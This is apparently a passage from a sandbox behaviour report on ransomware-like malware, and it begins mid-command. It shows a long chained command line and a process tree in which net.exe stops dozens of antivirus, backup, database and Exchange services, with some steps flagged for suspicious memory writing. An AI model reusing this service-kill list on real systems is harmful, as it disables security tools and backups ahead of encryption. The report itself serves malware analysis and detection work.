stop SQLAgent $ BKUPEXEC /y & net stop SQLAgent $ ECWDB2 /y & net stop SQLAgent $ PRACTTICEBGC /y & net stop SQLAgent $ PRACTTICEMGT /y & net stop SQLAgent $ PROFXENGAGEMENT /y & net stop SQLAgent $ SBSMONITORING /y & net stop SQLAgent $ SHAREPOINT /y & net stop SQLAgent $ SQL_2008 /y & net stop SQLAgent $ SYSTEM_BGC /y & net stop SQLAgent $ TPS /y & net stop SQLAgent $ TPSAMA /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2012 /y & net stop SQLBrowser /y & net stop SQLSafeOLRService /y & net stop SQLSERVERAGENT /y & net stop SQLTELEMETRY /y & net stop SQLTELEMETRY $ ECWDB2 /y & net stop SQLWriter /y & net stop SstpSvc /y & net stop svcGenericHost /y & net stop swi_filter /y & net stop swi_service /y & net stop swi_update_64 /y & net stop TmCCSF /y & net stop tmlisten /y & net stop TrueKey /y & net stop TrueKeyScheduler /y & net stop TrueKeyServiceHelper /y & net stop UI0Detect /y & net stop VeeamBackupSvc /y & net stop VeeamBrokerSvc /y & net stop VeeamCatalogSvc /y & net stop VeeamCloudSvc /y & net stop VeeamDeploymentService /y & net stop VeeamDeploySvc /y & net stop VeeamEnterpriseManagerSvc /y & net stop VeeamMountSvc /y & net stop VeeamNFSSvc /y & net stop VeeamRESTSvc /y & net stop VeeamTransportSvc /y & net stop W3svc /y & net stop wbengine /y & net stop WRSVC /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop VeeamHvIntegrationSvc /y & net stop swi_update /y & net stop SQLAgent $ CXDB /y & net stop SQLAgent $ CITRIX_METAFRAME /y & net stop SQL ???????? /y & net stop MSSQL $ PROD /y & net stop Zoolz 2 ?????? /y & net stop MSSQLServerADHelper /y & net stop SQLAgent $ PROD /y & net stop msftesql $ PROD /y & net stop NetMsmqActivator /y & net stop EhttpSrv /y & net stop ekrn /y & net stop ESHASRV /y & net stop MSSQL $ SOPHOS /y & net stop SQLAgent $ SOPHOS /y & net stop AVP /y & net stop klnagent /y & net stop MSSQL $ SQLEXPRESS /y & net stop SQLAgent $ /y & net stop SQLEXPRESS /y & net stop wbengine /y & net stop kavfsslp /y & net stop KAVFSGT /y2⤵
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\SysWOW64\net.exenet stop Acronis VSS Provider /y3⤵
- Suspicious use of WriteProcessMemory
PID:1380 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Acronis VSS Provider /y4⤵PID:3692
-
-
-
C:\Windows\SysWOW64\net.exenet stop Enterprise Client Service /y3⤵
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Enterprise Client Service /y4⤵PID:2152
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos Agent /y3⤵
- Suspicious use of WriteProcessMemory
PID:3832 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Agent /y4⤵PID:4036
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos AutoUpdate Service /y3⤵
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos AutoUpdate Service /y4⤵PID:2356
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos Clean Service /y3⤵
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Clean Service /y4⤵PID:3788
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos Device Control Service /y3⤵
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Device Control Service /y4⤵PID:2248
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBackupSvc /y5⤵PID:2560
-
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos File Scanner Service /y3⤵
- Suspicious use of WriteProcessMemory
PID:408 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos File Scanner Service /y4⤵PID:2792
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos Health Service /y3⤵
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Health Service /y4⤵PID:3088
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos MCS Agent /y3⤵
- Suspicious use of WriteProcessMemory
PID:4076 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos MCS Agent /y4⤵PID:4008
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos MCS Client /y3⤵
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos MCS Client /y4⤵PID:3456
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos Message Router /y3⤵PID:3560
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Message Router /y4⤵PID:400
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos SafeStore Service /y3⤵PID:2184
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos SafeStore Service /y4⤵PID:3900
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos Protection System Service /y3⤵PID:3512
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Protection System Service /y4⤵PID:2816
-
-
-
C:\Windows\SysWOW64\net.exenet stop Sophos Web Control Service /y3⤵PID:2316
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Web Control Service /y4⤵PID:1080
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLsafe ?????????? ??????????? ?????? /y3⤵PID:628
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLsafe ?????????? ??????????? ?????? /y4⤵PID:4028
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLsafe Filter Service /y3⤵PID:980
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLsafe Filter Service /y4⤵PID:1744
-
-
-
C:\Windows\SysWOW64\net.exenet stop Symantec System Recovery /y3⤵PID:892
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Symantec System Recovery /y4⤵PID:2112
-
-
-
C:\Windows\SysWOW64\net.exenet stop Veeam Backup Service Data Catalog /y3⤵PID:2096
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y4⤵PID:4080
-
-
-
C:\Windows\SysWOW64\net.exenet stop AcronisAgent /y3⤵PID:2152
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y4⤵PID:3840
-
-
-
C:\Windows\SysWOW64\net.exenet stop AcrSch2Svc /y3⤵PID:3916
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y4⤵PID:3240
-
-
-
C:\Windows\SysWOW64\net.exenet stop Antivirus /y3⤵PID:2360
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Antivirus /y4⤵PID:2356
-
-
-
C:\Windows\SysWOW64\net.exenet stop ARSM /y3⤵PID:3788
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ARSM /y4⤵PID:2264
-
-
-
C:\Windows\SysWOW64\net.exenet stop BackupExecAgentAccelerator /y3⤵PID:2196
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y4⤵PID:2760
-
-
-
C:\Windows\SysWOW64\net.exenet stop BackupExecAgentBrowser /y3⤵PID:1212
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y4⤵PID:2540
-
-
-
C:\Windows\SysWOW64\net.exenet stop BackupExecDeviceMediaService /y3⤵PID:920
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDeviceMediaService /y4⤵PID:3156
-
-
-
C:\Windows\SysWOW64\net.exenet stop BackupExecJobEngine /y3⤵PID:3980
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y4⤵PID:4008
-
-
-
C:\Windows\SysWOW64\net.exenet stop BackupExecManagementService /y3⤵PID:2724
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y4⤵PID:3456
-
-
-
C:\Windows\SysWOW64\net.exenet stop BackupExecRPCService /y3⤵PID:400
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y4⤵PID:532
-
-
-
C:\Windows\SysWOW64\net.exenet stop BackupExecVSSProvider /y3⤵PID:3900
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y4⤵PID:3396
-
-
-
C:\Windows\SysWOW64\net.exenet stop bedbg /y3⤵PID:2816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop bedbg /y4⤵PID:2416
-
-
-
C:\Windows\SysWOW64\net.exenet stop DCAgent /y3⤵PID:1080
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DCAgent /y4⤵PID:3660
-
-
-
C:\Windows\SysWOW64\net.exenet stop EPSecurityService /y3⤵PID:4028
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPSecurityService /y4⤵PID:1136
-
-
-
C:\Windows\SysWOW64\net.exenet stop EPUpdateService /y3⤵PID:2380
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPUpdateService /y4⤵PID:980
-
-
-
C:\Windows\SysWOW64\net.exenet stop EraserSvc11710 /y3⤵PID:1600
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EraserSvc11710 /y4⤵PID:3904
-
-
-
C:\Windows\SysWOW64\net.exenet stop EsgShKernel /y3⤵PID:1512
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EsgShKernel /y4⤵PID:4040
-
-
-
C:\Windows\SysWOW64\net.exenet stop FA_Scheduler /y3⤵PID:1508
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FA_Scheduler /y4⤵PID:3812
-
-
-
C:\Windows\SysWOW64\net.exenet stop IISAdmin /y3⤵PID:2100
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISAdmin /y4⤵PID:3852
-
-
-
C:\Windows\SysWOW64\net.exenet stop IMAP4Svc /y3⤵PID:2796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IMAP4Svc /y4⤵PID:3240
-
-
-
C:\Windows\SysWOW64\net.exenet stop macmnsvc /y3⤵PID:3796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop macmnsvc /y4⤵PID:2788
-
-
-
C:\Windows\SysWOW64\net.exenet stop masvc /y3⤵PID:2244
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop masvc /y4⤵PID:2264
-
-
-
C:\Windows\SysWOW64\net.exenet stop MBAMService /y3⤵PID:3788
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵PID:2800
-
-
-
C:\Windows\SysWOW64\net.exenet stop MBEndpointAgent /y3⤵PID:2312
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MBEndpointAgent /y4⤵PID:3032
-
-
-
C:\Windows\SysWOW64\net.exenet stop McAfeeEngineService /y3⤵PID:2792
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeEngineService /y4⤵PID:2560
-
-
-
C:\Windows\SysWOW64\net.exenet stop McAfeeFramework /y3⤵PID:3944
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeFramework /y4⤵PID:2820
-
-
-
C:\Windows\SysWOW64\net.exenet stop McAfeeFrameworkMcAfeeFramework /y3⤵PID:2720
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y4⤵PID:3776
-
-
-
C:\Windows\SysWOW64\net.exenet stop McShield /y3⤵PID:4008
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McShield /y4⤵PID:844
-
-
-
C:\Windows\SysWOW64\net.exenet stop McTaskManager /y3⤵PID:2228
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McTaskManager /y4⤵PID:1428
-
-
-
C:\Windows\SysWOW64\net.exenet stop mfemms /y3⤵PID:532
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfemms /y4⤵PID:400
-
-
-
C:\Windows\SysWOW64\net.exenet stop mfevtp /y3⤵PID:4088
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfevtp /y4⤵PID:3188
-
-
-
C:\Windows\SysWOW64\net.exenet stop MMS /y3⤵PID:1268
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MMS /y4⤵PID:2416
-
-
-
C:\Windows\SysWOW64\net.exenet stop mozyprobackup /y3⤵PID:2816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mozyprobackup /y4⤵PID:988
-
-
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer /y3⤵PID:1732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer /y4⤵PID:1552
-
-
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer100 /y3⤵PID:2284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer100 /y4⤵PID:3476
-
-
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer110 /y3⤵PID:1928
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer110 /y4⤵PID:2124
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeES /y3⤵PID:2120
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeES /y4⤵PID:4080
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS /y3⤵PID:4048
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS /y4⤵PID:1804
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMGMT /y3⤵PID:3516
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMGMT /y4⤵PID:2812
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMTA /y3⤵PID:1580
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMTA /y4⤵PID:3324
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSA /y3⤵PID:1860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSA /y4⤵PID:1684
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSRS /y3⤵PID:2292
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSRS /y4⤵PID:2808
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP $ SQL_2008 /y3⤵PID:2456
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y4⤵PID:2780
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP $ SYSTEM_BGC /y3⤵PID:2548
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y4⤵PID:796
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP $ TPS /y3⤵PID:2196
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP $ TPS /y4⤵PID:2540
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP $ TPSAMA /y3⤵PID:2552
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y4⤵PID:1964
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ BKUPEXEC /y3⤵PID:3156
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y4⤵PID:3988
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ ECWDB2 /y3⤵PID:2848
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y4⤵PID:60
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ PRACTICEMGT /y3⤵PID:844
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y4⤵PID:1428
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ PRACTTICEBGC /y3⤵PID:2228
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y4⤵PID:2844
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ PROFXENGAGEMENT /y3⤵PID:400
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y4⤵PID:3188
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SBSMONITORING /y3⤵PID:4088
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y4⤵PID:2416
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SHAREPOINT /y3⤵PID:1268
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y4⤵PID:3084
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SQL_2008 /y3⤵PID:2816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y4⤵PID:4056
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SYSTEM_BGC /y3⤵PID:660
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y4⤵PID:1480
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ TPS /y3⤵PID:4028
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ TPS /y4⤵PID:2112
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ TPSAMA /y3⤵PID:2380
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ TPSAMA /y4⤵PID:624
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ VEEAMSQL2008R2 /y3⤵PID:3692
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y4⤵PID:3812
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ VEEAMSQL2012 /y3⤵PID:4048
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y4⤵PID:2052
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher /y3⤵PID:1508
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher /y4⤵PID:3916
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ PROFXENGAGEMENT /y3⤵PID:2100
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y4⤵PID:2340
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ SBSMONITORING /y3⤵PID:2796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y4⤵PID:2176
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ SHAREPOINT /y3⤵PID:3796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y4⤵PID:2568
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ SQL_2008 /y3⤵PID:2264
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y4⤵PID:2544
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ SYSTEM_BGC /y3⤵PID:2268
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y4⤵PID:2560
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ TPS /y3⤵PID:2196
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y4⤵PID:3088
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ TPSAMA /y3⤵PID:2792
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y4⤵PID:2856
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLSERVER /y3⤵PID:3944
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER /y4⤵PID:4008
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper100 /y3⤵PID:848
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper100 /y4⤵PID:344
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerOLAPService /y3⤵PID:3388
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerOLAPService /y4⤵PID:976
-
-
-
C:\Windows\SysWOW64\net.exenet stop MySQL80 /y3⤵PID:3864
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL80 /y4⤵PID:2184
-
-
-
C:\Windows\SysWOW64\net.exenet stop MySQL57 /y3⤵PID:3932
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL57 /y4⤵PID:2804
-
-
-
C:\Windows\SysWOW64\net.exenet stop ntrtscan /y3⤵PID:3512
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ntrtscan /y4⤵PID:3168
-
-
-
C:\Windows\SysWOW64\net.exenet stop OracleClientCache80 /y3⤵PID:3660
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop OracleClientCache80 /y4⤵PID:1552
-
-
-
C:\Windows\SysWOW64\net.exenet stop PDVFSService /y3⤵PID:3264
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y4⤵PID:3476
-
-
-
C:\Windows\SysWOW64\net.exenet stop POP3SVC /y3⤵PID:3828
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop POP3SVC /y4⤵PID:2124
-
-
-
C:\Windows\SysWOW64\net.exenet stop ReportServer /y3⤵PID:760
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer /y4⤵PID:4080
-
-
-
C:\Windows\SysWOW64\net.exenet stop ReportServer $ SQL_2008 /y3⤵PID:4040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y4⤵PID:3840
-
-
-
C:\Windows\SysWOW64\net.exenet stop ReportServer $ SYSTEM_BGC /y3⤵PID:1976
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y4⤵PID:2152
-
-
-
C:\Windows\SysWOW64\net.exenet stop ReportServer $ TPS /y3⤵PID:3852
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer $ TPS /y4⤵PID:2300
-
-
-
C:\Windows\SysWOW64\net.exenet stop ReportServer $ TPSAMA /y3⤵PID:3916
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer $ TPSAMA /y4⤵PID:1508
-
-
-
C:\Windows\SysWOW64\net.exenet stop RESVC /y3⤵PID:3024
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RESVC /y4⤵PID:2340
-
-
-
C:\Windows\SysWOW64\net.exenet stop sacsvr /y3⤵PID:2176
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sacsvr /y4⤵PID:2796
-
-
-
C:\Windows\SysWOW64\net.exenet stop SamSs /y3⤵PID:2800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SamSs /y4⤵PID:2568
-
-
-
C:\Windows\SysWOW64\net.exenet stop SAVAdminService /y3⤵PID:2544
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAVAdminService /y4⤵PID:2264
-
-
-
C:\Windows\SysWOW64\net.exenet stop ????????? /y3⤵PID:1212
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ????????? /y4⤵PID:2560
-
-
-
C:\Windows\SysWOW64\net.exenet stop SDRSVC /y3⤵PID:3088
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SDRSVC /y4⤵PID:2196
-
-
-
C:\Windows\SysWOW64\net.exenet stop SepMasterService /y3⤵PID:2856
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SepMasterService /y4⤵PID:2792
-
-
-
C:\Windows\SysWOW64\net.exenet stop ShMonitor /y3⤵PID:3844
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ShMonitor /y4⤵PID:4008
-
-
-
C:\Windows\SysWOW64\net.exenet stop Smcinst /y3⤵PID:344
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Smcinst /y4⤵PID:848
-
-
-
C:\Windows\SysWOW64\net.exenet stop SmcService /y3⤵PID:844
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SmcService /y4⤵PID:976
-
-
-
C:\Windows\SysWOW64\net.exenet stop SMTPSVC /y3⤵PID:2184
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SMTPSVC /y4⤵PID:3864
-
-
-
C:\Windows\SysWOW64\net.exenet stop SNAC /y3⤵PID:2804
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SNAC /y4⤵PID:3932
-
-
-
C:\Windows\SysWOW64\net.exenet stop SntpService /y3⤵PID:3168
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SntpService /y4⤵PID:3512
-
-
-
C:\Windows\SysWOW64\net.exenet stop sophossps /y3⤵PID:2304
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophossps /y4⤵PID:3660
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ BKUPEXEC /y3⤵PID:3476
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y4⤵PID:3264
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ ECWDB2 /y3⤵PID:660
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y4⤵PID:2124
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ PRACTTICEBGC /y3⤵PID:4080
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y4⤵PID:760
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ PRACTTICEMGT /y3⤵PID:3840
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y4⤵PID:4040
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ PROFXENGAGEMENT /y3⤵PID:2152
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y4⤵PID:1976
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ SBSMONITORING /y3⤵PID:2300
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ SBSMONITORING /y4⤵PID:3852
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_update /y4⤵PID:2244
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ SHAREPOINT /y3⤵PID:1508
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ SHAREPOINT /y4⤵PID:3916
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ SQL_2008 /y3⤵PID:2100
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ SQL_2008 /y4⤵PID:2340
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ SYSTEM_BGC /y3⤵PID:1860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ SYSTEM_BGC /y4⤵PID:2796
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ TPS /y3⤵PID:2568
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ TPS /y4⤵PID:2800
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ TPSAMA /y3⤵PID:3032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ TPSAMA /y4⤵PID:2544
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ VEEAMSQL2008R2 /y3⤵PID:2268
-
